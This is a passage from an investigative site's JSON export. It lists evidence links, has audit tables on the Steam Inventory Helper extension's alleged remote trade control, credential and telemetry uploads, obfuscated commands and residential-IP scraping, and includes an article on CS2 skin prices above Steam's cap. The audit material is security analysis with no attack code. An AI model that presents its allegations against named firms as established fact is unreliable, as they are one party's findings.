            "label": "[RU FEED]",
            "url": "https://phishdestroy.io/steam_dossier/case_assets/assets/evidence/csgofast-sih-2026-10-11/live-capture/ad_marketSponsor_RU.json"
          },
          {
            "label": "[US FEED]",
            "url": "https://phishdestroy.io/steam_dossier/case_assets/assets/evidence/csgofast-sih-2026-10-11/live-capture/ad_marketSponsor_US.json"
          },
          {
            "label": "[REDIRECT HEADERS]",
            "url": "https://phishdestroy.io/steam_dossier/case_assets/assets/evidence/csgofast-sih-2026-10-11/live-capture/promo_csgofast_redirect_headers.txt"
          },
          {
            "label": "Open this passage in the complete original edition →",
            "url": "https://phishdestroy.io/steam_dossier/editions/2026-10-11-latest/csgofast-sih.html#data-and-ads"
          },
          {
            "label": "[F01 ↗]",
            "url": "https://phishdestroy.io/steam_dossier/extension-audit.html#csgofast"
          },
          {
            "label": "RELATED FINANCIAL RECORDMoney in. Internal units. Conditions on money out.Read the existing comparison of CSGOFast, Empire and Roll funding, token language and identity demands ↗",
            "url": "https://phishdestroy.io/steam_dossier/aml-data.html#coins-and-withdrawals"
          },
          {
            "label": "Open this passage in the complete original edition →",
            "url": "https://phishdestroy.io/steam_dossier/editions/2026-10-11-latest/csgofast-sih.html#non-casino"
          },
          {
            "label": "Review manipulation record →",
            "url": "https://phishdestroy.io/steam_dossier/reviews-and-incentives.html"
          },
          {
            "label": "Retained Chrome Web Store listing · 11 October 2026 ↗",
            "url": "https://phishdestroy.io/steam_dossier/case_assets/assets/evidence/csgofast-sih-2026-10-11/retained-sources/sih-chrome-store.txt"
          },
          {
            "label": "Read the review-incentive case →",
            "url": "https://phishdestroy.io/steam_dossier/reviews-and-incentives.html"
          },
          {
            "label": "Credential extraction, trade paths and offline fixtures",
            "url": "https://phishdestroy.io/steam_dossier/extension-audit.html"
          },
          {
            "label": "Capture record",
            "url": "https://phishdestroy.io/steam_dossier/case_assets/assets/evidence/csgofast-sih-2026-10-11/live-capture/c2_live_capture.json"
          },
          {
            "label": "Earlier independent audit ↗",
            "url": "https://phishdestroy.io/steam_dossier/extension-audit.html#sources"
          },
          {
            "label": "Machine-readable verification record ↗",
            "url": "https://phishdestroy.io/steam_dossier/case_assets/assets/evidence/csgofast-sih-2026-10-11/verification-record.json"
          },
          {
            "label": "Valve’s response to the Washington State Gambling Commission ↗",
            "url": "https://fr.scribd.com/document/328063293/Valve-s-Oct-18th-response-to-Washington-State-Gambling-Commission-s-cease-and-desist"
          },
          {
            "label": "Valve: In-Game Item Trading Update ↗",
            "url": "https://store.steampowered.com/oldnews/22883"
          },
          {
            "label": "The July 2016 notice naming CSGOFast ↗",
            "url": "https://www.hltv.org/news/18289/valve-cracks-down-on-skin-betting"
          },
          {
            "label": "CSGOFast’s reported shutdown announcement ↗",
            "url": "https://calvinayre.com/2016/07/27/business/skin-betting-site-csgofast-to-close-after-valve-threat"
          },
          {
            "label": "Kansspelautoriteit: Gamusoft LP ↗",
            "url": "https://kansspelautoriteit.nl/gamusoft-lp"
          },
          {
            "label": "Ksa’s underlying Gamusoft order ↗",
            "url": "https://kansspelautoriteit.nl/sites/default/files/gamusoft_lp_18937_lod_20250402.pdf"
          },
          {
            "label": "Steam Inventory Helper — Chrome Web Store ↗",
            "url": "https://chromewebstore.google.com/detail/steam-inventory-helper/cmeakgjggjdlcpncigglobpjbkabhmjl?hl=en"
          },
          {
            "label": "SIH extension terms of service ↗",
            "url": "https://steaminventoryhelper.com/tos"
          },
          {
            "label": "SIH privacy policy ↗",
            "url": "https://steaminventoryhelper.com/privacy"
          },
          {
            "label": "CSGOFast’s SIH connection and permission flow ↗",
            "url": "https://phishdestroy.io/steam_dossier/trade-tracking.html#fast"
          },
          {
            "label": "CSGOFast responsible-play policy ↗",
            "url": "https://csgofast.com/responsible-play-policy"
          },
          {
            "label": "Official Google extension update service ↗",
            "url": "https://clients2.google.com/service/update2/crx?response=redirect&prodversion=140.0.0.0&acceptformat=crx2%2Ccrx3&x=id%3Dcmeakgjggjdlcpncigglobpjbkabhmjl%26uc"
          },
          {
            "label": "SIH Mobile: publisher announcement ↗",
            "url": "https://blog.sih.app/ru/news/sih-mobile-ves-sih-sda-teper-zhivyot-u-vas-v-karmane"
          },
          {
            "label": "Steam Inventory Helper: What’s new ↗",
            "url": "https://blog.sih.app/en/news/steam-inventory-helper-whats-new"
          },
          {
            "label": "New York v. Valve Corporation — complaint ↗",
            "url": "https://ag.ny.gov/sites/default/files/court-filings/new-york-v-valve-corporation-complaint-2026.pdf#page=28"
          },
          {
            "label": "Steam Subscriber Agreement ↗",
            "url": "https://store.steampowered.com/agreement/?l=english"
          },
          {
            "label": "Steam Online Conduct ↗",
            "url": "https://store.steampowered.com/online_conduct/"
          },
          {
            "label": "Chrome Web Store: advertisements ↗",
            "url": "https://developer.chrome.com/docs/webstore/program-policies/ads"
          },
          {
            "label": "Chrome Web Store: spam and abuse ↗",
            "url": "https://developer.chrome.com/docs/webstore/program-policies/spam-and-abuse"
          },
          {
            "label": "SIH developer: sponsorship proposal ↗",
            "url": "https://steamcommunity.com/groups/SteamInventoryHelper/announcements/detail/922475016040326590"
          },
          {
            "label": "SIH developer: sponsorship and version 1.8.3 ↗",
            "url": "https://steamcommunity.com/groups/SteamInventoryHelper/announcements/detail/922475827240236615"
          },
          {
            "label": "SIH developer: ownership change ↗",
            "url": "https://steamcommunity.com/groups/SteamInventoryHelper/announcements/detail/883081689726101659"
          },
          {
            "label": "Contemporary reproduction of the ownership announcement ↗",
            "url": "https://www.steamgifts.com/discussion/8b4U8/sih-steam-inventory-helper-new-owner-csgofastcom"
          },
          {
            "label": "CSGOFast current terms and named entities ↗",
            "url": "https://csgofast.gg/tos"
          },
          {
            "label": "SIH developer: Steam request limits ↗",
            "url": "https://steamcommunity.com/groups/SteamInventoryHelper/announcements/detail/773852513981484409"
          }
        ],
        "tables": [
          {
            "id": "table-1",
            "caption": "",
            "rows": [
              [
                "Risk, as the supplied audit assesses it",
                "Severity",
                "Record"
              ],
              [
                "R1 · C2 over user accounts. The server can send, accept, decline and cancel trades and sell or remove items on every connected client.",
                "CRITICAL",
                "[SC07] [SC09] [SC12]"
              ],
              [
                "R2 · Distributed scraping grid. Price-history harvesting at scale through residential IPs.",
                "CRITICAL",
                "[SC10–11] [SC16]"
              ],
              [
                "R3 · Steam Guard secrets uploaded to developer cloud. The backups/sync path, plaintext when the SDA is unlocked — server compromise would mean mass account takeover with 2FA bypass.",
                "CRITICAL",
                "[SC17–23]"
              ],
              [
                "R4 · Obfuscated command vocabulary. Part of the remote command surface is deliberately hidden from review.",
                "HIGH",
                "[SC32]"
              ],
              [
                "R5 · Fleet canary gating by SteamID digit. Silent enable and disable of node capabilities per bucket.",
                "HIGH",
                "[SC05–06]"
              ],
              [
                "R6 · HTTP banner on hardcoded IP inside Steam pages. RU-locale targeting.",
                "HIGH",
                "[SC28–29]"
              ],
              [
                "R7 · Full economic profile exfiltration. Prices, orders, history, balances — plus userInfo into Sentry.",
                "HIGH",
                "[SC26] [SC16]"
              ],
              [
                "R8 · Auto-confirm and auto-buy loops. Items and money can move on a single server-side or logic error.",
                "HIGH",
                "[BUY LOOP] [SDA]"
              ]
            ]
          },
          {
            "id": "table-2",
            "caption": "",
            "rows": [
              [
                "Path",
                "What the record shows",
                "Consequence for the Valve inquiry"
              ],
              [
                "Remote price tasks",
                "Individual and batch Steam-market lookups return task results. The batch handles Steam rate limiting. [SC07–11]",
                "Commercial data collection can use an enabled customer client rather than an operator-owned bot."
              ],
              [
                "Observed-price upload",
                "A separate path submits price observations to SIH’s items service and processes a response-specified delay. [SC16]",
                "The browser is also a data source. The code exposes two operator data paths: responses to assigned tasks and uploads of observed prices."
              ],
              [
                "Dynamic request rules",
                "Cookie access and request-header rules support authenticated Steam calls. [SC14–15]",
                "“A normal user request” can describe its credentials while omitting who assigned the operation."
              ],
              [
                "Account diagnostics",
                "Sentry configuration attaches Steam/SIH profile context as extras and disables automatic Breadcrumbs. The 11 October 2026 live capture observed the telemetry stream working: every page view reported to stats.steaminventoryhelper.com/event-register with the Steam ID, country, language, page path and the ad shown. [SC26–27]",
                "The data-handling question includes operator-side account context, not only what is painted on Steam’s pages."
              ],
              [
                "Ad selection",
                "General ad requests carry country and language inputs. The add-funds placement separately checks the Steam page’s Russian-language setting. [SC28–30]",
                "Country and language are explicit inputs to ad selection. The add-funds placement also has a Russian-page-language branch."
              ],
              [
                "HTTP ad destination",
                "The add-funds banner points to a literal-IP HTTP link; its images are packaged assets. [SC28–29]",
                "The advertisement sends the click to an unencrypted initial destination. Its display assets are packaged with the extension; the outbound link is a separate part of the commercial route."
              ]
            ]
          },
          {
            "id": "table-3",
            "caption": "",
            "rows": [
              [
                "Fact",
                "The record"
              ],
              [
                "Server-side, per-user ad selection",
                "Ad selection is server-side and per user: POST ads.steaminventoryhelper.com/api/v1/adapi/<token>/find-all with a targeting object, across five named ad spaces — marketSponsor, tradeoffer, marketLeftSideBanner, externalIntegrationBanner, marketSponsorBanner. The AD_HIT_SEND alarm reports impressions and clicks back. [SC30]"
              ],
              [
                "The shipped rules.json is empty",
                "Every header-manipulation rule — including rules that set the Cookie header — is created dynamically at runtime, after store review. The capability ships in the package; the review sees nothing. [SC14]"
              ],
              [
                "The username leaves the browser",
                "The client posts the user’s steamUsername to core.steaminventoryhelper.com/steam/check. [SUPPLIED AUDIT §2.3]"
              ],
              [
                "History leaves base64-encoded",
                "Purchase and market history leave the browser base64-encoded to core.steaminventoryhelper.com/historystatsoverprices under x-sih-token with credentials included. [SUPPLIED AUDIT §2.3]"
              ],
              [
                "Resilient C2 transport",
                "The agent keeps its socket alive with a 25-second heartbeat; on drop it retries on a growing schedule — 10, 10, 20, 30, 50, 80, 130 seconds — and returns without any user action. [SC33]"
              ],
              [
                "Generic command packages",
                "Beyond tasks, the server can push command packages over jsonsend — refreshTradeList, balanceUpdated, wishList, followgame, refreshWithdrawOrder, steamRefill, updateUser, sihrep. The vocabulary includes syncuserinfo: the server can order an on-demand upload of the user’s data. [SC07]"
              ],
              [
                "Command names built to be unreadable",
                "Part of the server→client vocabulary travels under machine-like vYPR… names: four in the audited 2.11.12 build, five in 2.12.1. Statically decodable, but unreadable to a casual or store reviewer. SIH should explain why part of its command surface is named to be unreadable. [SC32]"
              ],
              [
                "Harvest management, not compliance",
                "The client counts its own trade requests (>20 → pause), breaks batches on STEAM_RATE_LIMITED and obeys a server-specified delay for price uploads. Throttling built into a scraping fleet is not compliance — it is harvest management: each client stays under the limit while the aggregate fleet keeps harvesting. [SC15] [SC11] [SC16]"
              ],
              [
                "The net effect, in the audit’s words",
                "“scraping that would be blocked from datacenter IPs is laundered through hundreds of thousands of residential users — each individual client stays under the limit, while the aggregate fleet harvests continuously.” [SUPPLIED AUDIT §6]"
              ]
            ]
          },
          {
            "id": "table-4",
            "caption": "Three dated records. Two SIH versions.",
            "rows": [
              [
                "Record",
                "Package",
                "Evidence"
              ],
              [
                "10 October 2026 · static audit",
                "SIH 2.11.12 · official ZIP",
                "Credential extraction, trade paths and offline fixtures; no live account used in that audit."
              ],
              [
                "11 October 2026 · signed follow-up",
                "SIH 2.12.1 · Google CRX",
                "SC01–SC33, original file hashes and byte locations; static package inspection."
              ],
              [
                "11 October 2026 · supplied runtime capture",
                "SIH 2.11.12 · isolated browser",
                "Capture record: connection, server configuration, price uploads, advertising and OpenID activity."
              ]
            ]
          },
          {
            "id": "table-5",
            "caption": "",
            "rows": [
              [
                "Mechanism",
                "Retained implementation",
                "Code record"
              ],
              [
                "Distributed Steam requests",
                "Client-session requests, local request counters and batch rate-limit handling.",
                "SC11, SC15"
              ],
              [
                "Remote task dispatch",
                "Nine named market tasks and mapped implementation handlers.",
                "SC07–11"
              ],
              [
                "Authenticator cloud custody",
                "Stored maFiles, encryption and passkey handling, ordinary backup guards and the explicit backup-message path.",
                "SC17–25"
              ],
              [
                "Advertising inside Steam",
                "Packaged banner assets, a literal HTTP click destination and contextual selection inputs.",
                "SC28–30"
              ],
              [
                "Account credential return",
                "Registered events and the WebAPI-token response handler.",
                "SC31–32"
              ],
              [
                "Platform rules and commercial conduct",
                "Publisher declarations, Google’s advertising and review policies, and the supplied browser captures.",
                "P08–09, P18–19"
              ]
            ]
          }
        ],
        "cited_source_ids": []
      },
      "resources": [
        {
          "url": "https://phishdestroy.io/steam_dossier/case_assets/assets/evidence/csgofast-sih-2026-10-11/live-capture/c2_live_capture.json",
          "sha256": "fe7e699111274a5b2c6943e30751d0dc36c351d9839558db3a270be77b250a43",
          "bytes": 14787
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/case_assets/assets/evidence/csgofast-sih-2026-10-11/live-capture/ws_c2_handshake.txt",
          "sha256": "e3e13064d10a94fce38cb6b217ffc194ab5a010418646a684227ee22815521e7",
          "bytes": 603
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/case_assets/assets/evidence/csgofast-sih-2026-10-11/live-capture/session_audit.json",
          "sha256": "c91d7a7ce1fd5f720713ee91da394efde05f1faf77e81c7c60fe8b809f00ef72",
          "bytes": 77123
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/case_assets/assets/evidence/csgofast-sih-2026-10-11/live-capture/ad_marketSponsor_RU.json",
          "sha256": "04281688457be1989d28f43177ddf5538a13fe7fe4e0a61e77fa589237366956",
          "bytes": 2064
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/case_assets/assets/evidence/csgofast-sih-2026-10-11/live-capture/ad_marketSponsor_US.json",
          "sha256": "8baa86d47adf7101e7b02d243e8eb83ea77b10bca909827993124b7a949c0346",
          "bytes": 1708
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/case_assets/assets/evidence/csgofast-sih-2026-10-11/live-capture/promo_csgofast_redirect_headers.txt",
          "sha256": "820920f8ee93a5c6aa5fc37613d547caa746ed6e28291087ac2e800a55f62e75",
          "bytes": 462
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/case_assets/assets/evidence/csgofast-sih-2026-10-11/retained-sources/sih-chrome-store.txt",
          "sha256": "739f7c9a3d12fcd9e905a5795d3b2a8b971bcc0fec62213a8a41f5a31764f850",
          "bytes": 9816
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/case_assets/assets/evidence/csgofast-sih-2026-10-11/verification-record.json",
          "sha256": "b544691033b0b7cb66ebc74f12128fb8a2c7bb8d4c6f68bff57e67fef5b8431b",
          "bytes": 23647
        }
      ]
    },
    {
      "schema": "phishdestroy.reading-edition.v2",
      "schema_url": "https://phishdestroy.io/steam_dossier/exports/reading-2026-10-18/article.schema.json",
      "object_type": "Dated article reading edition with PDF digest",
      "id": "elite_skins",
      "language": "en",
      "title": "One item, two price systems — The Steam Dossier",
      "author": "PhishDestroy Team",
      "source_url": "https://phishdestroy.io/steam_dossier/elite_skins",
      "source_file": "steam_dossier/elite_skins.html",
      "source_html_sha256": "60b4b33695cb14a9b2e006e912bccaa8884a69602709bd7398038333fd92f2ac",
      "exported_at": "2026-10-18T11:58:30.589Z",
      "edition_date": "2026-10-18",
      "scope": {
        "text": "Authored discussion and analytical tables from the current source HTML. Interactive controls and navigation are omitted; interactive datasets remain linked.",
        "omissions": [],
        "evidence_status": "The signature authenticates this publication, not the truth or authenticity of third-party evidence."
      },
      "pdf": {
        "filename": "elite_skins.pdf",
        "url": "https://phishdestroy.io/steam_dossier/exports/reading-2026-10-18/en/elite_skins.pdf",
        "sha256": "a374129eab9c04c31c53aa5f5f083f0f370a9f61ad045f265bcc312d227f6064",
        "bytes": 2193521,
        "pages": 72
      },
      "integrity": {
        "signed_object": "elite_skins.content.json",
        "signature_url": "https://phishdestroy.io/steam_dossier/exports/reading-2026-10-18/en/elite_skins.content.json.asc",
        "checksum_url": "https://phishdestroy.io/steam_dossier/exports/reading-2026-10-18/en/elite_skins.content.json.sha256",
        "format": "ASCII-armored detached OpenPGP",
        "signing_key_fingerprint": "129FC7F39C40C69D2EF3C329BFCF9E8DD295EE01",
        "public_key": "https://phishdestroy.io/.well-known/pgp-key.txt",
        "scope": "Exact UTF-8 JSON bytes, including content and the PDF SHA-256. No cryptographic PDF document signature is asserted."
      },
      "license": {
        "identifier": "CC0-1.0",
        "application": "Authored material only; third-party material retains its own rights.",
        "rights_statement_url": "https://phishdestroy.io/steam_dossier/steam_tos_assets/license-rights.json",
        "rights_statement_sha256": "80d67354f8e5efd65b03696be950fb0f95c188d0089b1604281d0a4daff3f4cb"
      },
      "content": {
        "text": "Contents · Live article\n\nExhibit IV / market architecture / 20 September 2026\nElite Skins Register — The $1,800 Market Ceiling\n\nOne item. Two price systems.\n\nWHAT THIS SECTION PROVES\n\nThis register establishes an empirical census of all CS2 skin categories priced above Steam's $1,800 Community Market listing cap across five external exchanges. It proves that 248 corroborated high-tier categories—representing 18,394 active listings and $78.6 million in posted liquidity—are 100% absent from Valve's official marketplace. Sellers seeking true market prices are structurally forced onto external platforms while relying exclusively on Steam's underlying trade mechanics.\n\n← Back to Executive briefing\n\nSteam caps a Community Market listing at about $1,800. Across the five third-party marketplaces priced in this snapshot, 419 CS2 item categories carry a cheapest live ask above that limit — and 402 of them, 95.9%, have no Steam listing at all. Together they hold 18,641 listed copies worth at least $82.4 million. Requiring a second marketplace to agree before a price counts, 248 of those categories are corroborated — and every single one of them, 100%, is absent from Steam. The dearest is a Sticker | Titan (Holo) | Katowice 2014 at $66,285, quoted by four marketplaces within 5.2% of each other and carried by none of Valve's. The full ladder, the renders and the grading are in the price-ladder atlas.\n\nInspect all 419 entries ↓Open the atlas ↗Read the method\n248categories two or more marketplaces price above the cap\n18,394copies listed across five marketplaces\n$78.6Mfloor value of those listings\n100%of them absent from Steam entirely\n\nCorrection · this page previously led with an uncorroborated price\n\nAn earlier version of this page headlined a Souvenir AK-47 | Point Disarray asked at $148,954 on one marketplace while Steam priced it at $119. That row rests on a single shelf and a single copy with no second marketplace agreeing, so it is an asking price rather than a price, and it no longer carries the page. Every headline figure here is now restricted to the 248 categories that at least two marketplaces independently price above the cap. The row itself has not been removed — it is still in the register below, and the grading that demoted it is set out in full in the price-ladder atlas.\n\n01 / the money in active asks\nThe measurable dollar floor\n\nRecomputed from the licensed cs2.sh snapshot across five marketplaces. This is a minimum aggregate asking value in a defined subset, not sales turnover and not a valuation of the CS2 economy.\n\n248 CORROBORATED CATEGORIES · 18,394 LISTED COPIES · 5 MARKETPLACES$78.62M\n\nMinimum aggregate posted ask of every CS2 item that two or more marketplaces independently price above the limit Valve permits on its own market.\n\nWhy this is a floor, not an estimate\n\nFor each marketplace we multiply its lowest ask for an item by the number of copies that marketplace lists. Every other copy on that shelf is priced at or above the lowest ask, so the true posted value is higher — by construction, not by guesswork. It is not a sale, a cash flow or a market-wide valuation, and the same physical item may appear on more than one marketplace.\n\nCheck all 419 source rows ↗\n★ Sport Gloves | Hedge Maze (Field-Tested)\n$4.68M\nAWP | Gungnir (Factory New)\n$4.46M\nAWP | Dragon Lore (Factory New)\n$4.34M\n★ Butterfly Knife | Fade (Factory New)\n$4.17M\nAK-47 | Wild Lotus (Factory New)\n$4.16M\n★ Butterfly Knife | Doppler (Factory New)\n$3.64M\n\nBars show the six largest category-level contributions to the floor calculation, scaled against the largest. A high bar reflects both the cheapest ask and the number of copies listed. The same physical item can appear on more than one marketplace, so these figures must not be added to any other market total.\n\n02 / inspectable examples\nWhat the limit leaves out\n\nIllustrations correspond to exact item names where available. Prices are active asking prices from the dated catalogue, not transaction records.\n\nOBSERVED ASK · CSFLOAT\n★ Butterfly Knife | Doppler (Factory New)\n$1,987.71\n\n475 live offers in the captured catalogue. An ask does not establish a sale.\n\nOBSERVED ASK · CSFLOAT\nSticker | Titan (Holo) | Katowice 2014\n$69,690.00\n\n1 live offer in the captured catalogue. An ask does not establish a sale.\n\nOBSERVED ASK · CSFLOAT\nSticker | Reason Gaming (Holo) | Katowice 2014\n$45,000.00\n\n1 live offer in the captured catalogue. An ask does not establish a sale.\n\nOBSERVED ASK · CSFLOAT\n★ Sport Gloves | Hedge Maze (Factory New)\n$29,300.00\n\n5 live offers in the captured catalogue. An ask does not establish a sale.\n\nOBSERVED ASK · CSFLOAT\n★ Sport Gloves | Pandora's Box (Field-Tested)\n$3,428.62\n\n172 live offers in the captured catalogue. An ask does not establish a sale.\n\nOBSERVED ASK · CSFLOAT\n★ Butterfly Knife | Fade (Factory New)\n$2,100.00\n\n271 live offers in the captured catalogue. An ask does not establish a sale.\n\nOBSERVED ASK · CSFLOAT\nEMS Katowice 2014 Legends\n$23,562.49\n\n4 live offers in the captured catalogue. An ask does not establish a sale.\n\nOBSERVED ASK · CSFLOAT\nAK-47 | Wild Lotus (Factory New)\n$14,190.00\n\n26 live offers in the captured catalogue. An ask does not establish a sale.\n\nOBSERVED ASK · CSFLOAT\nStatTrak™ M4A4 | Howl (Factory New)\n$13,358.20\n\n16 live offers in the captured catalogue. An ask does not establish a sale.\n\nOBSERVED ASK · CSFLOAT\nAWP | Gungnir (Factory New)\n$11,520.00\n\n41 live offers in the captured catalogue. An ask does not establish a sale.\n\nOBSERVED ASK · CSFLOAT\nAWP | Dragon Lore (Factory New)\n$10,623.95\n\n62 live offers in the CSFloat-only view. The five-marketplace register (row 056) shows 389 listings at $10,940.85 — a different collection scope, not a discrepancy. An ask does not establish a sale.\n\nOBSERVED ASK · CSFLOAT\n★ Sport Gloves | Superconductor (Minimal Wear)\n$2,799.93\n\n31 live offers in the captured catalogue. An ask does not establish a sale.\n\nThe measurable gap: these offers cannot be matched by a Steam listing at the same USD figure. Valve’s own Community Market FAQ archived 2026-09-21 ↗ states an approximately $1,800 maximum listing price. A seller could still list below it; whether that would be acceptable is the seller’s choice. A separate CSMarketCap search for items above $1,800 ↗ shows Factory New Dragon Lore across 28 indexed markets with about 1.1K displayed offers; mirrored inventory can be counted more than once.\n\n03 / the structural dependency\nSteam's cap sends price discovery outside Steam\n\nThe comparison is structural. It neither assumes every asking price is fair nor treats unsold listings as revenue.\n\n01 · THE RULE\nSteam caps the listing\n\nValve says Community Market listings are capped at approximately $1,800. Wallet balances are also capped, and wallet funds cannot be withdrawn as cash.\n\n02 · THE OBSERVATION\nDragon Lore: $10,940.85\n\nThe 5-marketplace catalogue shows 389 live offers for AWP Dragon Lore (Factory New), starting at $10,940.85 (CSFloat floor). The wider register contains 248 corroborated categories above Steam's limit.\n\n03 · THE CONSEQUENCE\nPrice and transfer split\n\nA seller seeking that higher price cannot post it on Steam. External services can set the cash price, but delivery still uses Steam-controlled item ownership and transfer.\n\nThe policy contradiction: Valve's own Subscriber Agreement archived 2026-09-21 ↗ reserves commercial exploitation of Steam services unless expressly permitted, while its 2016 statement archived 2026-09-21 ↗ said gambling operators were already using Steam OpenID and automated accounts. That is direct evidence Valve knew of this class of outside operator in 2016. Yet the official marketplace cannot post the observed prices of these high-value items. That is architectural dependence on off-Steam price discovery and transactions; the contract status of each individual marketplace requires separate evidence. The two primary Western marketplaces capturing this over-cap transaction volume operate as formal corporate entities in major jurisdictions — CSFloat Inc. (incorporated in Delaware, USA) and Skinport GmbH (registered in Stuttgart, Germany, HRB 764879) — openly transacting hundreds of millions in peer-to-peer item sales relying directly on Steam Web APIs and trade infrastructure.\n\nThe four $100,000 rows sit at CSFloat’s own maximum listing price. They are marked in the register and must not be read as appraisals. The archived CSFloat listing crawl only reached approximately $6,999, so the public catalogue snapshot is used for the full >$1,800 register.\n\n04 / another Valve game\nThe ceiling also catches Dota 2\n\nThe same strict cheapest-offer test on Skinport finds 166 CS2 categories and 3 Dota 2 categories. They are a separate marketplace snapshot; do not add them to CSFloat’s 245.\n\nDOTA 2 · 1 OFFER\nHeroic Brutal Crescent\n\nCheapest Skinport ask: $14,622.25.\n\nDOTA 2 · 1 OFFER\nDark Artistry Cape\n\nCheapest Skinport ask: $8,255.16.\n\nDOTA 2 · 1 OFFER\nCorrupted Powered Star\n\nCheapest Skinport ask: $2,087.92.\n\nThese are three listed item categories, not every Dota 2 item in existence. Inspect the dated Skinport rows ↗ and API documentation ↗.\n\n05 / robustness\nThe finding does not depend on the exact cap\n\nValve sets the cap in the buyer's regional currency, so converted to USD it does not land on one clean figure. The census is therefore repeated at every plausible threshold. The share of these items missing from Steam never moves below 95%.\n\nThreshold tested\tItem categories\tCopies listed\tFloor value\tAbsent from Steam\n$1,800\t419\t18,641\t$82,449,526\t95.9%\n$2,000\t382\t15,159\t$75,541,325\t95.5%\n$2,070\t363\t12,336\t$69,560,305\t95.6%\n$2,300\t323\t11,644\t$67,984,432\t95.0%\n$2,500\t299\t10,950\t$66,203,929\t95.0%\n\nRead one row at a time; the rows are nested subsets of the same census, not separate populations. “Floor value” multiplies each marketplace's lowest ask by the number of copies it lists, so it understates the shelf by construction. Open the dataset ↗\n\n06 / scarcity you can count\nHow few of these actually exist for sale\n\nBUFF splits each item's shelf into float brackets and publishes how many copies sit in each. That turns “rare” from a word into a count — and prices the condition separately from the skin.\n\n298 COPIES LISTED\nAWP | Dragon Lore\n\n8 distinct variants priced. The dearest, Souvenir AWP | Dragon Lore (Factory New), asks $12,363 with 20 copies on the shelf.\n\nIn the best float bracket on the shelf (0–0.01) there are 2 copies, asking $17,875 — a +45% premium over the item's base ask for condition alone.\n\n607 COPIES LISTED\nM4A4 | Howl\n\n12 distinct variants priced. The dearest, Souvenir M4A4 | Howl (Factory New), asks $14,895 with 2 copies on the shelf.\n\n213 COPIES LISTED\nAK-47 | Wild Lotus\n\n7 distinct variants priced. The dearest, Souvenir AK-47 | Wild Lotus (Factory New), asks $14,895 with 2 copies on the shelf.\n\n310 COPIES LISTED\nAWP | Gungnir\n\n7 distinct variants priced. The dearest, Souvenir AWP | Gungnir (Minimal Wear), asks $14,895 with 2 copies on the shelf.\n\nWhy this matters to the rest of this dossier: these are not abstractions. A few hundred copies of each trophy exist on the open shelf worldwide, each tied to one Steam account and moved by one Steam trade. A market this thin is one where a single stolen inventory is a measurable event, and where the account-takeover techniques documented elsewhere in this investigation have a direct and quantifiable payoff.\n\nCounts are live listings on one marketplace at capture time, not the total number in existence. Copies held in private inventories are not counted anywhere here. Open the float dataset ↗\n\n07 / the ladder out of sight\nThe dearer the item, the further from any observable venue\n\nEach rung below is a different evidentiary class. They are deliberately not merged into one number.\n\nRung\tFigure\tWhat kind of fact this is\nCeiling on Valve's own market\t~$1,800\tPublished rule, stated in the Steam Community Market FAQ.\nDearest ask several marketplaces agree on\t$66,285\tMeasured by us in this snapshot. Sticker | Titan (Holo) | Katowice 2014, quoted by four marketplaces within 5.2% of one another. An ask, not a sale.\nDearest ask seen on any single shelf\t$148,954\tOne marketplace, one copy, no second marketplace agreeing — and equal to a round CNY 1,000,000 at the snapshot rate. Listed here as the outer edge of what sellers ask, and relied on for nothing.\nPublic marketplace sale\t$49,999\tSpecialist Gloves | Crimson Kimono (FN) on CSFloat, as reported by SteamAnalyst. Platform-recorded, third-party reported.\nReported private sale\t$400,000\tAK-47 | Case Hardened, reported by PC Gamer in April 2023. Journalism, not a record we hold.\nReported offer, declined\t$1,500,000\tBlue Gem Karambit, pattern #387. No sale took place and the figure has not been independently confirmed. Included to mark the ceiling of the claims, not to assert a value.\n\nThe structural point: Valve's market stops at about $1,800. Third-party marketplaces carry the trade to around $66,000 where several of them agree, and to roughly $150,000 where only one does. Above that there is no venue at all — the largest transfers of Valve-issued property happen privately, between individuals, with no listing, no platform record, no identity check and no reporting. The transfer itself still runs on Steam. The higher the value, the less anyone can see it, and the infrastructure carrying it is Valve's throughout.\n\nThe last two rungs are other people's reporting, cited as such. This project did not verify them and does not rely on them for any conclusion.\n\n08 / source register\nAll 419 observed categories\n\nEach row is a market_hash_name category, or a named variant of one, whose cheapest live ask on BUFF, CSFloat, Skinport, Youpin or C5Game exceeds Valve’s listing cap. “Steam ask” is what the same item costs on Valve’s own market, where it is listed there at all.\n\n419 shown\n#\tItem category\tMarkets\tCopies listed\tCheapest ask\tWhere\tSteam ask\tAbove Steam cap\n001\tSouvenir AK-47 | Point Disarray (Field-Tested)\t1\t1\t$148,954.26\tYoupin\t$119.08\t+$147,154.26\n002\tSouvenir P2000 | Wicked Sick (Minimal Wear)\t2\t2\t$148,954.26\tYoupin\tabsent\t+$147,154.26\n003\tSouvenir Desert Eagle | Trigger Discipline (Minimal Wear)\t1\t1\t$148,953.55\tYoupin\tabsent\t+$147,153.55\n004\t★ StatTrak™ Skeleton Knife | Case Hardened (Factory New) | Blue GemBlue Gem\t1\t1\t$104,267.98\tC5Game\tabsent\t+$102,467.98\n005\tSouvenir Glock-18 | Water Elemental (Factory New)\t1\t1\t$98,753.00\tCSFloat\tabsent\t+$96,953.00\n006\t★ Specialist Gloves | Crimson Kimono (Factory New) | Phase 2Phase 2\t1\t0\t$72,821.95\tBUFF\tabsent\t+$71,021.95\n007\tSticker | Titan (Holo) | Katowice 2014\t4\t6\t$66,284.65\tYoupin\tabsent\t+$64,484.65\n008\tSticker | iBUYPOWER (Holo) | Katowice 2014\t2\t4\t$64,795.10\tYoupin\tabsent\t+$62,995.10\n009\t★ Specialist Gloves | Crimson Kimono (Factory New) | Phase 4Phase 4\t1\t0\t$56,602.62\tBUFF\tabsent\t+$54,802.62\n010\tSticker | Reason Gaming (Holo) | Katowice 2014\t4\t11\t$42,898.62\tYoupin\tabsent\t+$41,098.62\n011\t★ Specialist Gloves | Crimson Kimono (Minimal Wear) | Phase 1Phase 1\t2\t1\t$37,238.57\tBUFF\tabsent\t+$35,438.57\n012\tSouvenir MP9 | Spy Prototype (Factory New)\t1\t1\t$28,604.60\tCSFloat\tabsent\t+$26,804.60\n013\tSouvenir FAMAS | Teardown (Battle-Scarred)\t1\t1\t$27,272.27\tCSFloat\tabsent\t+$25,472.27\n014\t★ Specialist Gloves | Crimson Kimono (Factory New) | Phase 6Phase 